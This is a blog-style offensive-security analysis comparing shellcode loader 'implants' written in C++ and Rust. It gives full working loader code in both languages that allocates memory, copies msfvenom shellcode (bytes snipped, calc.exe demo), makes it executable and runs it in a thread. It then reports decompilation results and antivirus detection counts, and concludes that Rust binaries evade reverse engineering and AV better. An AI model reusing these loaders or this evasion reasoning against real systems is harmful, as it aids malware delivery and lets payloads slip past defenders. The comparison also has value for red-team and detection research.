Page cover image

TTPs: Rust vs C++

A comparative analysis of C++ and Rust implant binaries

Part One: Introduction

With the end of 2022 and the start of 2023, it's only a matter of time until discussion begins about the language that's going to "replace" C/C++. There's a lot of reasons why C/C++ is going to be here for a long time, but in the scope of Offensive Security Engineering, what are the benefits of making the jump to another language? Historically, the primary contenders for offensive development have been C, C++, and C#. The comparison between those specific languages is outside the scope of this article, but something that HAS come to my attention is Rust development.

I recently posed the question "does rust provide any benefits over C/C++ for offensive security engineering" on Twitter and received a variety of responses.

The benefits seem to be centered around Rust's internal complexity making Blue Team analysis inherently more difficult. This makes creating signatures for Rust Binaries more difficult than for similar C++ binaries. So I figured we could test that out a little bit and see what behavior we could observer.

The proposed analysis methodology is as follows:

  • Make two programs, one written in Rust and one in C++

  • The functionality of the programs should be as similar as possible

    VirtualAlloc -> (Some sort of copy) -> VirtualProtect -> CreateThread

  • Both programs should use the same payload

    Msfvenom calc.exe

  • Measure how long the programs take to execute using the powershell "Measure-Command"

  • Upload both binaries to Dogbolt to get a sense of the reverse engineering effort necessary to signature the binary. We'll especially be looking out for the API calls.

  • Upload both programs into VT for a reasonable detectability measurement

Note: The goal of this analysis is not to perform a comprehensive quantitive assessment, but rather to get a sense of the pros and cons of Rust in the context as offensive security tooling.

Part Two: A basic implant in C++

We've implemented a basic implant several times on here before, but here's the code one more time:

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(void) {
    
	void * exec_mem;
	BOOL rv;
	HANDLE th;
    DWORD oldprotect = 0;

	 //msfvenom -p windows/x64/exec CMD="calc.exe"
	unsigned char payload[] = {[…snip…]};

	unsigned int payload_len = sizeof(payload);
	
	exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

	RtlMoveMemory(exec_mem, payload, payload_len);
	
	rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);

	if ( rv != 0 ) {
			th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
			WaitForSingleObject(th, (DWORD) -1);
	}

	return 0;
}

Part Three: A basic implant in Rust

I'll confess, this kicked my ass for a couple of hours. Finally I found @trickster0's OffensiveRust repository and Github, and luckily it had the exact Rust program I was looking for.

use winapi::um::winnt::{PVOID,MEM_COMMIT,MEM_RESERVE, PAGE_READWRITE, PAGE_EXECUTE_READ};
use std::ptr;
use winapi::um::errhandlingapi;
use winapi::um::processthreadsapi;
use winapi::um::winbase;
use winapi::um::synchapi::WaitForSingleObject;
use std::process;

type DWORD = u32;

//Thanks to @trickster0 for sharing this code https://github.com/trickster0/OffensiveRust

fn main(){
    create_thread()
}

fn create_thread() {
    //msfvenom -p windows/x64/exec CMD="calc.exe"
    let test : [u8;276] = [ […snip…] ];

    // allocate base addr as RW
   unsafe{
        let base_addr = kernel32::VirtualAlloc(
            ptr::null_mut(),
            test.len().try_into().unwrap(),
            MEM_COMMIT | MEM_RESERVE,
            PAGE_READWRITE
        );
       
        if base_addr.is_null() { 
            println!("[-] Couldn't allocate memory to current proc.")
        }
    

        std::ptr::copy(test.as_ptr() as  _, base_addr, test.len());

        let mut old_protect: DWORD = PAGE_READWRITE;

        let mem_protect = kernel32::VirtualProtect (
            base_addr,
            test.len() as u64,
            PAGE_EXECUTE_READ,
            &mut old_protect
        );

        if mem_protect == 0 {
            let error = errhandlingapi::GetLastError();
            println!("[-] Error: {}", error.to_string());
            process::exit(0x0100);
        }


        let mut tid = 0;
        let ep: extern "system" fn(PVOID) -> u32 = { std::mem::transmute(base_addr) };

        let h_thread = processthreadsapi::CreateThread(
            ptr::null_mut(),
            0,
            Some(ep),
            ptr::null_mut(),
            0,
            &mut tid
        );

        if h_thread.is_null() {
            let error = errhandlingapi::GetLastError();
            println!("{}", error.to_string())
        
        }
		
        let status = WaitForSingleObject(h_thread, winbase::INFINITE);
        if status != 0 {
            let error = errhandlingapi::GetLastError();
            println!("{}", error.to_string())
        }
    }
}

Part Four: Comparing performance

Now that we've generated our two programs, lets compile them and compare their performance.

We measure the performance these two programs over twenty rounds of operation and find their performance pretty comparable.

Rust is well known to be a fast programming language, so this isn't a surprise. Rust also famously produces thick binaries compared to C++, and we can observe that by comparing the file sizes of our two programs.

Part Five: Comparing the decompilation

Uploading the Rust binary gets us some errors (we time out) from Angr and Ghidra, but we get some decent input from Hex-Ray and BinaryNinja.

Decompiling the Rust binary produces over 26000 lines of decompiled code in both BinaryNinja and Hex-Rays.

We're only able to find all the Windows API calls in BinaryNinja.

When we upload the C++ binary we also get some timeout errors (it must be some error on dogbolt's side), we only get a maximum of about 16000 lines of decompiled code.

And our C++ binary leaks all the WinAPI calls and a pretty accurate decompilation of our code, all visible in the screenshot below.

It looks like the Rust binary definitely provides some inherent protections to reverse engineering efforts at the decompilation level, we were unable to get anything this accurate from the Rust binary using this tool.

Part Six: VirusTotal

Finally, the last part of our analysis.

Our rust binary is detected by 5/72 AV engines.

Our C++ binary is detected by 21/72 AV engines.

Part Seven: Conclusion

In this writeup, we've seen how a Rust binary with near-identical functionality to a C++ binary compared in terms of operating speed, decompilation, and detectibility. Rust is without a doubt superior in its resistance to reverse engineering and detection by AV engines, while achieving comparable performance in terms of speed.

It's likely that over time the detection of Rust binaries will improve as the language continues to grow in popularity, existing decompilation technology is not capable of providing the same thorough analysis that is available for C++ binaries.

If you're considering making the jump to Rust, there's some real benefits to be gained, at least for the time being.

Mandatory picture of Ferris the Crab

References:

Last updated